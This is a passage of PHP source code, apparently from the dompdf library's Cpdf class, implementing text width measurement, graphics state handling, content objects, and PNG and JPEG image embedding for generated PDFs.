        $store_currentTextState = $this->currentTextState;

        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $text = str_replace(["\r", "\n"], "", $text);

        // hmm, this is where it all starts to get tricky - use the font information to
        // calculate the width of each character, add them up and convert to user units
        $w = 0;
        $cf = $this->currentFont;
        $current_font = $this->fonts[$cf];
        $space_scale = 1000 / ($size > 0 ? $size : 1);

        if ($current_font['isUnicode']) {
            // for Unicode, use the code points array to calculate width rather
            // than just the string itself
            $unicode = $this->utf8toCodePointsArray($text);

            foreach ($unicode as $char) {
                // check if we have to replace character
                if (isset($current_font['differences'][$char])) {
                    $char = $current_font['differences'][$char];
                }

                if (isset($current_font['C'][$char])) {
                    $char_width = $current_font['C'][$char];

                    // add the character width
                    $w += $char_width;

                    // add additional padding for space
                    if (isset($current_font['codeToName'][$char]) && $current_font['codeToName'][$char] === 'space') {  // Space
                        $w += $wordSpacing * $space_scale;
                    }
                }
            }

            // add additional char spacing
            if ($charSpacing != 0) {
                $w += $charSpacing * $space_scale * count($unicode);
            }

        } else {
            // If CPDF is in Unicode mode but the current font does not support Unicode we need to convert the character set to Windows-1252
            if ($this->isUnicode) {
                $text = mb_convert_encoding($text, 'Windows-1252', 'UTF-8');
            }

            $len = mb_strlen($text, 'Windows-1252');

            for ($i = 0; $i < $len; $i++) {
                $c = $text[$i];
                $char = isset($ord_cache[$c]) ? $ord_cache[$c] : ($ord_cache[$c] = ord($c));

                // check if we have to replace character
                if (isset($current_font['differences'][$char])) {
                    $char = $current_font['differences'][$char];
                }

                if (isset($current_font['C'][$char])) {
                    $char_width = $current_font['C'][$char];

                    // add the character width
                    $w += $char_width;

                    // add additional padding for space
                    if (isset($current_font['codeToName'][$char]) && $current_font['codeToName'][$char] === 'space') {  // Space
                        $w += $wordSpacing * $space_scale;
                    }
                }
            }

            // add additional char spacing
            if ($charSpacing != 0) {
                $w += $charSpacing * $space_scale * $len;
            }
        }

        $this->currentTextState = $store_currentTextState;
        $this->setCurrentFont();

        return $w * $size / 1000;
    }

    /**
     * this will be called at a new page to return the state to what it was on the
     * end of the previous page, before the stack was closed down
     * This is to get around not being able to have open 'q' across pages
     *
     * @param int $pageEnd
     */
    function saveState($pageEnd = 0)
    {
        if ($pageEnd) {
            // this will be called at a new page to return the state to what it was on the
            // end of the previous page, before the stack was closed down
            // This is to get around not being able to have open 'q' across pages
            $opt = $this->stateStack[$pageEnd];
            // ok to use this as stack starts numbering at 1
            $this->setColor($opt['col'], true);
            $this->setStrokeColor($opt['str'], true);
            $this->addContent("\n" . $opt['lin']);
            //    $this->currentLineStyle = $opt['lin'];
        } else {
            $this->nStateStack++;
            $this->stateStack[$this->nStateStack] = [
                'col' => $this->currentColor,
                'str' => $this->currentStrokeColor,
                'lin' => $this->currentLineStyle
            ];
        }

        $this->save();
    }

    /**
     * restore a previously saved state
     *
     * @param int $pageEnd
     */
    function restoreState($pageEnd = 0)
    {
        if (!$pageEnd) {
            $n = $this->nStateStack;
            $this->currentColor = $this->stateStack[$n]['col'];
            $this->currentStrokeColor = $this->stateStack[$n]['str'];
            $this->addContent("\n" . $this->stateStack[$n]['lin']);
            $this->currentLineStyle = $this->stateStack[$n]['lin'];
            $this->stateStack[$n] = null;
            unset($this->stateStack[$n]);
            $this->nStateStack--;
        }

        $this->restore();
    }

    /**
     * make a loose object, the output will go into this object, until it is closed, then will revert to
     * the current one.
     * this object will not appear until it is included within a page.
     * the function will return the object number
     *
     * @return int
     */
    function openObject()
    {
        $this->nStack++;
        $this->stack[$this->nStack] = ['c' => $this->currentContents, 'p' => $this->currentPage];
        // add a new object of the content type, to hold the data flow
        $this->numObj++;
        $this->o_contents($this->numObj, 'new');
        $this->currentContents = $this->numObj;
        $this->looseObjects[$this->numObj] = 1;

        return $this->numObj;
    }

    /**
     * open an existing object for editing
     *
     * @param $id
     */
    function reopenObject($id)
    {
        $this->nStack++;
        $this->stack[$this->nStack] = ['c' => $this->currentContents, 'p' => $this->currentPage];
        $this->currentContents = $id;

        // also if this object is the primary contents for a page, then set the current page to its parent
        if (isset($this->objects[$id]['onPage'])) {
            $this->currentPage = $this->objects[$id]['onPage'];
        }
    }

    /**
     * close an object
     */
    function closeObject()
    {
        // close the object, as long as there was one open in the first place, which will be indicated by
        // an objectId on the stack.
        if ($this->nStack > 0) {
            $this->currentContents = $this->stack[$this->nStack]['c'];
            $this->currentPage = $this->stack[$this->nStack]['p'];
            $this->nStack--;
            // easier to probably not worry about removing the old entries, they will be overwritten
            // if there are new ones.
        }
    }

    /**
     * stop an object from appearing on pages from this point on
     *
     * @param $id
     */
    function stopObject($id)
    {
        // if an object has been appearing on pages up to now, then stop it, this page will
        // be the last one that could contain it.
        if (isset($this->addLooseObjects[$id])) {
            $this->addLooseObjects[$id] = '';
        }
    }

    /**
     * after an object has been created, it wil only show if it has been added, using this function.
     *
     * @param $id
     * @param string $options
     */
    function addObject($id, $options = 'add')
    {
        // add the specified object to the page
        if (isset($this->looseObjects[$id]) && $this->currentContents != $id) {
            // then it is a valid object, and it is not being added to itself
            switch ($options) {
                case 'all':
                    // then this object is to be added to this page (done in the next block) and
                    // all future new pages.
                    $this->addLooseObjects[$id] = 'all';

                case 'add':
                    if (isset($this->objects[$this->currentContents]['onPage'])) {
                        // then the destination contents is the primary for the page
                        // (though this object is actually added to that page)
                        $this->o_page($this->objects[$this->currentContents]['onPage'], 'content', $id);
                    }
                    break;

                case 'even':
                    $this->addLooseObjects[$id] = 'even';
                    $pageObjectId = $this->objects[$this->currentContents]['onPage'];
                    if ($this->objects[$pageObjectId]['info']['pageNum'] % 2 == 0) {
                        $this->addObject($id);
                        // hacky huh :)
                    }
                    break;

                case 'odd':
                    $this->addLooseObjects[$id] = 'odd';
                    $pageObjectId = $this->objects[$this->currentContents]['onPage'];
                    if ($this->objects[$pageObjectId]['info']['pageNum'] % 2 == 1) {
                        $this->addObject($id);
                        // hacky huh :)
                    }
                    break;

                case 'next':
                    $this->addLooseObjects[$id] = 'all';
                    break;

                case 'nexteven':
                    $this->addLooseObjects[$id] = 'even';
                    break;

                case 'nextodd':
                    $this->addLooseObjects[$id] = 'odd';
                    break;
            }
        }
    }

    /**
     * return a storable representation of a specific object
     *
     * @param $id
     * @return string|null
     */
    function serializeObject($id)
    {
        if (array_key_exists($id, $this->objects)) {
            return serialize($this->objects[$id]);
        }

        return null;
    }

    /**
     * restore an object from its stored representation. Returns its new object id.
     *
     * @param $obj
     * @return int
     */
    function restoreSerializedObject($obj)
    {
        $obj_id = $this->openObject();
        $this->objects[$obj_id] = unserialize($obj);
        $this->closeObject();

        return $obj_id;
    }

    /**
     * Embeds a file inside the PDF
     *
     * @param string $filepath path to the file to store inside the PDF
     * @param string $embeddedFilename the filename displayed in the list of embedded files
     * @param string $description a description in the list of embedded files
     */
    public function addEmbeddedFile(string $filepath, string $embeddedFilename, string $description): void
    {
        $this->numObj++;
        $this->o_embedded_file_dictionary(
            $this->numObj,
            'new',
            [
                'filepath' => $filepath,
                'filename' => $embeddedFilename,
                'description' => $description
            ]
        );
    }

    /**
     * Add content to the documents info object
     *
     * @param string|array $label
     * @param string       $value
     */
    public function addInfo($label, string $value = ""): void
    {
        // this will only work if the label is one of the valid ones.
        // modify this so that arrays can be passed as well.
        // if $label is an array then assume that it is key => value pairs
        // else assume that they are both scalar, anything else will probably error
        if (is_array($label)) {
            foreach ($label as $l => $v) {
                $this->o_info($this->infoObject, $l, (string) $v);
            }
        } else {
            $this->o_info($this->infoObject, $label, $value);
        }
    }

    /**
     * set the viewer preferences of the document, it is up to the browser to obey these.
     *
     * @param $label
     * @param int $value
     */
    function setPreferences($label, $value = 0)
    {
        // this will only work if the label is one of the valid ones.
        if (is_array($label)) {
            foreach ($label as $l => $v) {
                $this->o_catalog($this->catalogId, 'viewerPreferences', [$l => $v]);
            }
        } else {
            $this->o_catalog($this->catalogId, 'viewerPreferences', [$label => $value]);
        }
    }

    /**
     * extract an integer from a position in a byte stream
     *
     * @param $data
     * @param $pos
     * @param $num
     * @return int
     */
    private function getBytes(&$data, $pos, $num)
    {
        // return the integer represented by $num bytes from $pos within $data
        $ret = 0;
        for ($i = 0; $i < $num; $i++) {
            $ret *= 256;
            $ret += ord($data[$pos + $i]);
        }

        return $ret;
    }

    /**
     * Check if image already added to pdf image directory.
     * If yes, need not to create again (pass empty data)
     *
     * @param string $imgname
     * @return bool
     */
    function image_iscached($imgname)
    {
        return isset($this->imagelist[$imgname]);
    }

    /**
     * add a PNG image into the document, from a GD object
     * this should work with remote files
     *
     * @param \GdImage|resource $img A GD resource
     * @param string $file The PNG file
     * @param float $x X position
     * @param float $y Y position
     * @param float $w Width
     * @param float $h Height
     * @param bool $is_mask true if the image is a mask
     * @param bool $mask true if the image is masked
     * @throws Exception
     */
    function addImagePng(&$img, $file, $x, $y, $w = 0.0, $h = 0.0, $is_mask = false, $mask = null)
    {
        if (!function_exists("imagepng")) {
            throw new \Exception("The PHP GD extension is required, but is not installed.");
        }

        //if already cached, need not to read again
        if (isset($this->imagelist[$file])) {
            $data = null;
        } else {
            // Example for transparency handling on new image. Retain for current image
            // $tIndex = imagecolortransparent($img);
            // if ($tIndex > 0) {
            //   $tColor    = imagecolorsforindex($img, $tIndex);
            //   $new_tIndex    = imagecolorallocate($new_img, $tColor['red'], $tColor['green'], $tColor['blue']);
            //   imagefill($new_img, 0, 0, $new_tIndex);
            //   imagecolortransparent($new_img, $new_tIndex);
            // }
            // blending mode (literal/blending) on drawing into current image. not relevant when not saved or not drawn
            //imagealphablending($img, true);

            //default, but explicitely set to ensure pdf compatibility
            imagesavealpha($img, false/*!$is_mask && !$mask*/);

            $error = 0;
            //DEBUG_IMG_TEMP
            //debugpng
            if (defined("DEBUGPNG") && DEBUGPNG) {
                print '[addImagePng ' . $file . ']';
            }

            ob_start();
            @imagepng($img);
            $data = ob_get_clean();

            if ($data == '') {
                $error = 1;
                $errormsg = 'trouble writing file from GD';
                //DEBUG_IMG_TEMP
                //debugpng
                if (defined("DEBUGPNG") && DEBUGPNG) {
                    print 'trouble writing file from GD';
                }
            }

            if ($error) {
                $this->addMessage('PNG error - (' . $file . ') ' . $errormsg);

                return;
            }
        }  //End isset($this->imagelist[$file]) (png Duplicate removal)

        $this->addPngFromBuf($data, $file, $x, $y, $w, $h, $is_mask, $mask);
    }

    /**
     * @param $file
     * @param $x
     * @param $y
     * @param $w
     * @param $h
     * @param $byte
     */
    protected function addImagePngAlpha($file, $x, $y, $w, $h, $byte)
    {
        // generate images
        $img = @imagecreatefrompng($file);

        if ($img === false) {
            return;
        }

        // FIXME The pixel transformation doesn't work well with 8bit PNGs
        $eight_bit = ($byte & 4) !== 4;

        $wpx = imagesx($img);
        $hpx = imagesy($img);

        imagesavealpha($img, false);

        // create temp alpha file
        $tempfile_alpha = @tempnam($this->tmp, "cpdf_img_");
        @unlink($tempfile_alpha);
        $tempfile_alpha = "$tempfile_alpha.png";

        // create temp plain file
        $tempfile_plain = @tempnam($this->tmp, "cpdf_img_");
        @unlink($tempfile_plain);
        $tempfile_plain = "$tempfile_plain.png";

        $imgalpha = imagecreate($wpx, $hpx);
        imagesavealpha($imgalpha, false);

        // generate gray scale palette (0 -> 255)
        for ($c = 0; $c < 256; ++$c) {
            imagecolorallocate($imgalpha, $c, $c, $c);
        }

        // Use PECL gmagick + Graphics Magic to process transparent PNG images
        if (extension_loaded("gmagick")) {
            $gmagick = new \Gmagick($file);
            $gmagick->setimageformat('png');

            // Get opacity channel (negative of alpha channel)
            $alpha_channel_neg = clone $gmagick;
            $alpha_channel_neg->separateimagechannel(\Gmagick::CHANNEL_OPACITY);

            // Negate opacity channel
            $alpha_channel = new \Gmagick();
            $alpha_channel->newimage($wpx, $hpx, "#FFFFFF", "png");
            $alpha_channel->compositeimage($alpha_channel_neg, \Gmagick::COMPOSITE_DIFFERENCE, 0, 0);
            $alpha_channel->separateimagechannel(\Gmagick::CHANNEL_RED);
            $alpha_channel->writeimage($tempfile_alpha);

            // Cast to 8bit+palette
            $imgalpha_ = @imagecreatefrompng($tempfile_alpha);
            imagecopy($imgalpha, $imgalpha_, 0, 0, 0, 0, $wpx, $hpx);
            imagedestroy($imgalpha_);
            imagepng($imgalpha, $tempfile_alpha);

            // Make opaque image
            $color_channels = new \Gmagick();
            $color_channels->newimage($wpx, $hpx, "#FFFFFF", "png");
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYRED, 0, 0);
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYGREEN, 0, 0);
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYBLUE, 0, 0);
            $color_channels->writeimage($tempfile_plain);

            $imgplain = @imagecreatefrompng($tempfile_plain);
        }
        // Use PECL imagick + ImageMagic to process transparent PNG images
        elseif (extension_loaded("imagick")) {
            // Native cloning was added to pecl-imagick in svn commit 263814
            // the first version containing it was 3.0.1RC1
            static $imagickClonable = null;
            if ($imagickClonable === null) {
                $imagickClonable = true;
                if (defined('Imagick::IMAGICK_EXTVER')) {
                    $imagickVersion = \Imagick::IMAGICK_EXTVER;
                } else {
                    $imagickVersion = '0';
                }
                if (version_compare($imagickVersion, '0.0.1', '>=')) {
                    $imagickClonable = version_compare($imagickVersion, '3.0.1rc1', '>=');
                }
            }

            $imagick = new \Imagick($file);
            $imagick->setFormat('png');

            // Get opacity channel (negative of alpha channel)
            if ($imagick->getImageAlphaChannel()) {
                $alpha_channel = $imagickClonable ? clone $imagick : $imagick->clone();
                $alpha_channel->separateImageChannel(\Imagick::CHANNEL_ALPHA);
                // Since ImageMagick7 negate invert transparency as default
                if (\Imagick::getVersion()['versionNumber'] < 1800) {
                    $alpha_channel->negateImage(true);
                }
                $alpha_channel->writeImage($tempfile_alpha);

                // Cast to 8bit+palette
                $imgalpha_ = @imagecreatefrompng($tempfile_alpha);
                imagecopy($imgalpha, $imgalpha_, 0, 0, 0, 0, $wpx, $hpx);
                imagedestroy($imgalpha_);
                imagepng($imgalpha, $tempfile_alpha);
            } else {
                $tempfile_alpha = null;
            }

            // Make opaque image
            $color_channels = new \Imagick();
            $color_channels->newImage($wpx, $hpx, "#FFFFFF", "png");
            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYRED, 0, 0);
            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYGREEN, 0, 0);
            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYBLUE, 0, 0);
            $color_channels->writeImage($tempfile_plain);

            $imgplain = @imagecreatefrompng($tempfile_plain);
        } else {
            // allocated colors cache
            $allocated_colors = [];

            // extract alpha channel
            for ($xpx = 0; $xpx < $wpx; ++$xpx) {
                for ($ypx = 0; $ypx < $hpx; ++$ypx) {
                    $color = imagecolorat($img, $xpx, $ypx);
                    $col = imagecolorsforindex($img, $color);
                    $alpha = $col['alpha'];

                    if ($eight_bit) {
                        // with gamma correction
                        $gammacorr = 2.2;
                        $pixel = round(pow((((127 - $alpha) * 255 / 127) / 255), $gammacorr) * 255);
                    } else {
                        // without gamma correction
                        $pixel = (127 - $alpha) * 2;

                        $key = $col['red'] . $col['green'] . $col['blue'];

                        if (!isset($allocated_colors[$key])) {
                            $pixel_img = imagecolorallocate($img, $col['red'], $col['green'], $col['blue']);
                            $allocated_colors[$key] = $pixel_img;
                        } else {
                            $pixel_img = $allocated_colors[$key];
                        }

                        imagesetpixel($img, $xpx, $ypx, $pixel_img);
                    }

                    imagesetpixel($imgalpha, $xpx, $ypx, $pixel);
                }
            }

            // extract image without alpha channel
            $imgplain = imagecreatetruecolor($wpx, $hpx);
            imagecopy($imgplain, $img, 0, 0, 0, 0, $wpx, $hpx);
            imagedestroy($img);

            imagepng($imgalpha, $tempfile_alpha);
            imagepng($imgplain, $tempfile_plain);
        }

        $this->imageAlphaList[$file] = [$tempfile_alpha, $tempfile_plain];

        // embed mask image
        if ($tempfile_alpha) {
            $this->addImagePng($imgalpha, $tempfile_alpha, $x, $y, $w, $h, true);
            imagedestroy($imgalpha);
            $this->imageCache[] = $tempfile_alpha;
        }

        // embed image, masked with previously embedded mask
        $this->addImagePng($imgplain, $tempfile_plain, $x, $y, $w, $h, false, ($tempfile_alpha !== null));
        imagedestroy($imgplain);
        $this->imageCache[] = $tempfile_plain;
    }

    /**
     * add a PNG image into the document, from a file
     * this should work with remote files
     *
     * @param $file
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     * @throws Exception
     */
    function addPngFromFile($file, $x, $y, $w = 0, $h = 0)
    {
        if (!function_exists("imagecreatefrompng")) {
            throw new \Exception("The PHP GD extension is required, but is not installed.");
        }

        if (isset($this->imageAlphaList[$file])) {
            [$alphaFile, $plainFile] = $this->imageAlphaList[$file];

            if ($alphaFile) {
                $img = null;
                $this->addImagePng($img, $alphaFile, $x, $y, $w, $h, true);
            }

            $img = null;
            $this->addImagePng($img, $plainFile, $x, $y, $w, $h, false, ($plainFile !== null));
            return;
        }

        //if already cached, need not to read again
        if (isset($this->imagelist[$file])) {
            $img = null;
        } else {
            $info = file_get_contents($file, false, null, 24, 5);
            $meta = unpack("CbitDepth/CcolorType/CcompressionMethod/CfilterMethod/CinterlaceMethod", $info);
            $bit_depth = $meta["bitDepth"];
            $color_type = $meta["colorType"];

            // http://www.w3.org/TR/PNG/#11IHDR
            // 3 => indexed
            // 4 => greyscale with alpha
            // 6 => fullcolor with alpha
            $is_alpha = in_array($color_type, [4, 6]) || ($color_type == 3 && $bit_depth != 4);

            if ($is_alpha) { // exclude grayscale alpha
                $this->addImagePngAlpha($file, $x, $y, $w, $h, $color_type);
                return;
            }

            //png files typically contain an alpha channel.
            //pdf file format or class.pdf does not support alpha blending.
            //on alpha blended images, more transparent areas have a color near black.
            //This appears in the result on not storing the alpha channel.
            //Correct would be the box background image or its parent when transparent.
            //But this would make the image dependent on the background.
            //Therefore create an image with white background and copy in
            //A more natural background than black is white.
            //Therefore create an empty image with white background and merge the
            //image in with alpha blending.
            $imgtmp = @imagecreatefrompng($file);
            if (!$imgtmp) {
                return;
            }
            $sx = imagesx($imgtmp);
            $sy = imagesy($imgtmp);
            $img = imagecreatetruecolor($sx, $sy);
            imagealphablending($img, true);

            // @todo is it still needed ??
            $ti = imagecolortransparent($imgtmp);
            if ($ti >= 0) {
                $tc = imagecolorsforindex($imgtmp, $ti);
                $ti = imagecolorallocate($img, $tc['red'], $tc['green'], $tc['blue']);
                imagefill($img, 0, 0, $ti);
                imagecolortransparent($img, $ti);
            } else {
                imagefill($img, 1, 1, imagecolorallocate($img, 255, 255, 255));
            }

            imagecopy($img, $imgtmp, 0, 0, 0, 0, $sx, $sy);
            imagedestroy($imgtmp);
        }
        $this->addImagePng($img, $file, $x, $y, $w, $h);

        if ($img) {
            imagedestroy($img);
        }
    }

    /**
     * add a PNG image into the document, from a memory buffer of the file
     *
     * @param $data
     * @param $file
     * @param $x
     * @param $y
     * @param float $w
     * @param float $h
     * @param bool $is_mask
     * @param null $mask
     */
    function addPngFromBuf(&$data, $file, $x, $y, $w = 0.0, $h = 0.0, $is_mask = false, $mask = null)
    {
        if (isset($this->imagelist[$file])) {
            $data = null;
            $info['width'] = $this->imagelist[$file]['w'];
            $info['height'] = $this->imagelist[$file]['h'];
            $label = $this->imagelist[$file]['label'];
        } else {
            if ($data == null) {
                $this->addMessage('addPngFromBuf error - data not present!');

                return;
            }

            $error = 0;

            if (!$error) {
                $header = chr(137) . chr(80) . chr(78) . chr(71) . chr(13) . chr(10) . chr(26) . chr(10);

                if (mb_substr($data, 0, 8, '8bit') != $header) {
                    $error = 1;

                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile this file does not have a valid header ' . $file . ']';
                    }

                    $errormsg = 'this file does not have a valid header';
                }
            }

            if (!$error) {
                // set pointer
                $p = 8;
                $len = mb_strlen($data, '8bit');

                // cycle through the file, identifying chunks
                $haveHeader = 0;
                $info = [];
                $idata = '';
                $pdata = '';

                while ($p < $len) {
                    $chunkLen = $this->getBytes($data, $p, 4);
                    $chunkType = mb_substr($data, $p + 4, 4, '8bit');

                    switch ($chunkType) {
                        case 'IHDR':
                            // this is where all the file information comes from
                            $info['width'] = $this->getBytes($data, $p + 8, 4);
                            $info['height'] = $this->getBytes($data, $p + 12, 4);
                            $info['bitDepth'] = ord($data[$p + 16]);
                            $info['colorType'] = ord($data[$p + 17]);
                            $info['compressionMethod'] = ord($data[$p + 18]);
                            $info['filterMethod'] = ord($data[$p + 19]);
                            $info['interlaceMethod'] = ord($data[$p + 20]);

                            //print_r($info);
                            $haveHeader = 1;
                            if ($info['compressionMethod'] != 0) {
                                $error = 1;

                                //debugpng
                                if (defined("DEBUGPNG") && DEBUGPNG) {
                                    print '[addPngFromFile unsupported compression method ' . $file . ']';
                                }

                                $errormsg = 'unsupported compression method';
                            }

                            if ($info['filterMethod'] != 0) {
                                $error = 1;

                                //debugpng
                                if (defined("DEBUGPNG") && DEBUGPNG) {
                                    print '[addPngFromFile unsupported filter method ' . $file . ']';
                                }

                                $errormsg = 'unsupported filter method';
                            }
                            break;

                        case 'PLTE':
                            $pdata .= mb_substr($data, $p + 8, $chunkLen, '8bit');
                            break;

                        case 'IDAT':
                            $idata .= mb_substr($data, $p + 8, $chunkLen, '8bit');
                            break;

                        case 'tRNS':
                            //this chunk can only occur once and it must occur after the PLTE chunk and before IDAT chunk
                            //print "tRNS found, color type = ".$info['colorType']."\n";
                            $transparency = [];

                            switch ($info['colorType']) {
                                // indexed color, rbg
                                case 3:
                                    /* corresponding to entries in the plte chunk
                                     Alpha for palette index 0: 1 byte
                                     Alpha for palette index 1: 1 byte
                                     ...etc...
                                    */
                                    // there will be one entry for each palette entry. up until the last non-opaque entry.
                                    // set up an array, stretching over all palette entries which will be o (opaque) or 1 (transparent)
                                    $transparency['type'] = 'indexed';
                                    $trans = 0;

                                    for ($i = $chunkLen; $i >= 0; $i--) {
                                        if (ord($data[$p + 8 + $i]) == 0) {
                                            $trans = $i;
                                        }
                                    }

                                    $transparency['data'] = $trans;
                                    break;

                                // grayscale
                                case 0:
                                    /* corresponding to entries in the plte chunk
                                     Gray: 2 bytes, range 0 .. (2^bitdepth)-1
                                    */
                                    //            $transparency['grayscale'] = $this->PRVT_getBytes($data,$p+8,2); // g = grayscale
                                    $transparency['type'] = 'indexed';
                                    $transparency['data'] = ord($data[$p + 8 + 1]);
                                    break;

                                // truecolor
                                case 2:
                                    /* corresponding to entries in the plte chunk
                                     Red: 2 bytes, range 0 .. (2^bitdepth)-1
                                     Green: 2 bytes, range 0 .. (2^bitdepth)-1
                                     Blue: 2 bytes, range 0 .. (2^bitdepth)-1
                                    */
                                    $transparency['r'] = $this->getBytes($data, $p + 8, 2);
                                    // r from truecolor
                                    $transparency['g'] = $this->getBytes($data, $p + 10, 2);
                                    // g from truecolor
                                    $transparency['b'] = $this->getBytes($data, $p + 12, 2);
                                    // b from truecolor

                                    $transparency['type'] = 'color-key';
                                    break;

                                //unsupported transparency type
                                default:
                                    if (defined("DEBUGPNG") && DEBUGPNG) {
                                        print '[addPngFromFile unsupported transparency type ' . $file . ']';
                                    }
                                    break;
                            }

                            // KS End new code
                            break;

                        default:
                            break;
                    }

                    $p += $chunkLen + 12;
                }

                if (!$haveHeader) {
                    $error = 1;

                    //debugpng
                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile information header is missing ' . $file . ']';
                    }

                    $errormsg = 'information header is missing';
                }

                if (isset($info['interlaceMethod']) && $info['interlaceMethod']) {
                    $error = 1;

                    //debugpng
                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile no support for interlaced images in pdf ' . $file . ']';
                    }

                    $errormsg = 'There appears to be no support for interlaced images in pdf.';
                }
            }

            if (!$error && $info['bitDepth'] > 8) {
                $error = 1;

                //debugpng
                if (defined("DEBUGPNG") && DEBUGPNG) {
                    print '[addPngFromFile bit depth of 8 or less is supported ' . $file . ']';
                }

                $errormsg = 'only bit depth of 8 or less is supported';
            }

            if (!$error) {
                switch ($info['colorType']) {
                    case 3:
                        $color = 'DeviceRGB';
                        $ncolor = 1;
                        break;

                    case 2:
                        $color = 'DeviceRGB';
                        $ncolor = 3;
                        break;

                    case 0:
                        $color = 'DeviceGray';
                        $ncolor = 1;
                        break;

                    default:
                        $error = 1;

                        //debugpng
                        if (defined("DEBUGPNG") && DEBUGPNG) {
                            print '[addPngFromFile alpha channel not supported: ' . $info['colorType'] . ' ' . $file . ']';
                        }

                        $errormsg = 'transparency alpha channel not supported, transparency only supported for palette images.';
                }
            }

            if ($error) {
                $this->addMessage('PNG error - (' . $file . ') ' . $errormsg);

                return;
            }

            //print_r($info);
            // so this image is ok... add it in.
            $this->numImages++;
            $im = $this->numImages;
            $label = "I$im";
            $this->numObj++;

            //  $this->o_image($this->numObj,'new',array('label' => $label,'data' => $idata,'iw' => $w,'ih' => $h,'type' => 'png','ic' => $info['width']));
            $options = [
                'label'            => $label,
                'data'             => $idata,
                'bitsPerComponent' => $info['bitDepth'],
                'pdata'            => $pdata,
                'iw'               => $info['width'],
                'ih'               => $info['height'],
                'type'             => 'png',
                'color'            => $color,
                'ncolor'           => $ncolor,
                'masked'           => $mask,
                'isMask'           => $is_mask
            ];

            if (isset($transparency)) {
                $options['transparency'] = $transparency;
            }

            $this->o_image($this->numObj, 'new', $options);
            $this->imagelist[$file] = ['label' => $label, 'w' => $info['width'], 'h' => $info['height']];
        }

        if ($is_mask) {
            return;
        }

        if ($w <= 0 && $h <= 0) {
            $w = $info['width'];
            $h = $info['height'];
        }

        if ($w <= 0) {
            $w = $h / $info['height'] * $info['width'];
        }

        if ($h <= 0) {
            $h = $w * $info['height'] / $info['width'];
        }

        $this->addContent(sprintf("\nq\n%.3F 0 0 %.3F %.3F %.3F cm /%s Do\nQ", $w, $h, $x, $y, $label));
    }

    /**
     * add a JPEG image into the document, from a file
     *
     * @param $img
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     */
    function addJpegFromFile($img, $x, $y, $w = 0, $h = 0)
    {
        // attempt to add a jpeg image straight from a file, using no GD commands
        // note that this function is unable to operate on a remote file.

        if (!file_exists($img)) {
            return;
        }

        if ($this->image_iscached($img)) {
            $data = null;
            $imageWidth = $this->imagelist[$img]['w'];
            $imageHeight = $this->imagelist[$img]['h'];
            $channels = $this->imagelist[$img]['c'];
        } else {
            $tmp = getimagesize($img);
            $imageWidth = $tmp[0];
            $imageHeight = $tmp[1];

            if (isset($tmp['channels'])) {
                $channels = $tmp['channels'];
            } else {
                $channels = 3;
            }

            $data = file_get_contents($img);
        }

        if ($w <= 0 && $h <= 0) {
            $w = $imageWidth;
        }

        if ($w == 0) {
            $w = $h / $imageHeight * $imageWidth;
        }

        if ($h == 0) {
            $h = $w * $imageHeight / $imageWidth;
        }

        $this->addJpegImage_common($data, $img, $imageWidth, $imageHeight, $x, $y, $w, $h, $channels);
    }

    /**
     * common code used by the two JPEG adding functions
     * @param $data
     * @param $imgname
     * @param $imageWidth
     * @param $imageHeight
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     * @param int $channels
     */
    private function addJpegImage_common(
        &$data,
        $imgname,
        $imageWidth,
        $imageHeight,
        $x,
        $y,
        $w = 0,
        $h = 0,
        $channels = 3
    ) {
        if ($this->image_iscached($imgname)) {
            $label = $this->imagelist[$imgname]['label'];
            //debugpng
            //if (DEBUGPNG) print '[addJpegImage_common Duplicate '.$imgname.']';

        } else {
            if ($data == null) {
                $this->addMessage('addJpegImage_common error - (' . $imgname . ') data not present!');

                return;
            }

            // note that this function is not to be called externally
            // it is just the common code between the GD and the file options
            $this->numImages++;
            $im = $this->numImages;
            $label = "I$im";
            $this->numObj++;

            $this->o_image(
                $this->numObj,
                'new',
                [
                    'label'    => $label,
                    'data'     => &$data,
                    'iw'       => $imageWidth,
                    'ih'       => $imageHeight,
                    'channels' => $channels
                ]
            );

            $this->imagelist[$imgname] = [
                'label' => $label,
                'w'     => $imageWidth,
                'h'     => $imageHeight,
                'c'     => $channels
            ];
        }

        $this->addContent(sprintf("\nq\n%.3F 0 0 %.3F %.3F %.3F cm /%s Do\nQ ", $w, $h, $x, $y, $label));
    }

    /**
     * specify where the document should open when it first starts
     *
     * @param $style
     * @param int $a
     * @param int $b
     * @param int $c
     */
    function openHere($style, $a = 0, $b = 0, $c = 0)
    {
        // this function will open the document at a specified page, in a specified style
        // the values for style, and the required parameters are:
        // 'XYZ'  left, top, zoom
        // 'Fit'
        // 'FitH' top
        // 'FitV' left
        // 'FitR' left,bottom,right
        // 'FitB'
        // 'FitBH' top
        // 'FitBV' left
        $this->numObj++;
        $this->o_destination(
            $this->numObj,
            'new',
            ['page' => $this->currentPage, 'type' => $style, 'p1' => $a, 'p2' => $b, 'p3' => $c]
        );
        $id = $this->catalogId;
        $this->o_catalog($id, 'openHere', $this->numObj);
    }

    /**
     * Add JavaScript code to the PDF document
     *
     * @param string $code
     */
    function addJavascript($code)
    {
        $this->javascript .= $code;
    }

    /**
     * create a labelled destination within the document
     *
     * @param $label
     * @param $style
     * @param int $a
     * @param int $b
     * @param int $c
     */
    function addDestination($label, $style, $a = 0, $b = 0, $c = 0)
    {
        // associates the given label with the destination, it is done this way so that a destination can be specified after
        // it has been linked to
        // styles are the same as the 'openHere' function
        $this->numObj++;
        $this->o_destination(
            $this->numObj,
            'new',
            ['page' => $this->currentPage, 'type' => $style, 'p1' => $a, 'p2' => $b, 'p3' => $c]
        );
        $id = $this->numObj;

        // store the label->idf relationship, note that this means that labels can be used only once
        $this->destinations["$label"] = $id;
    }

    /**
     * define font families, this is used to initialize the font families for the default fonts
     * and for the user to add new ones for their fonts. The default bahavious can be overridden should
     * that be desired.
     *
     * @param $family
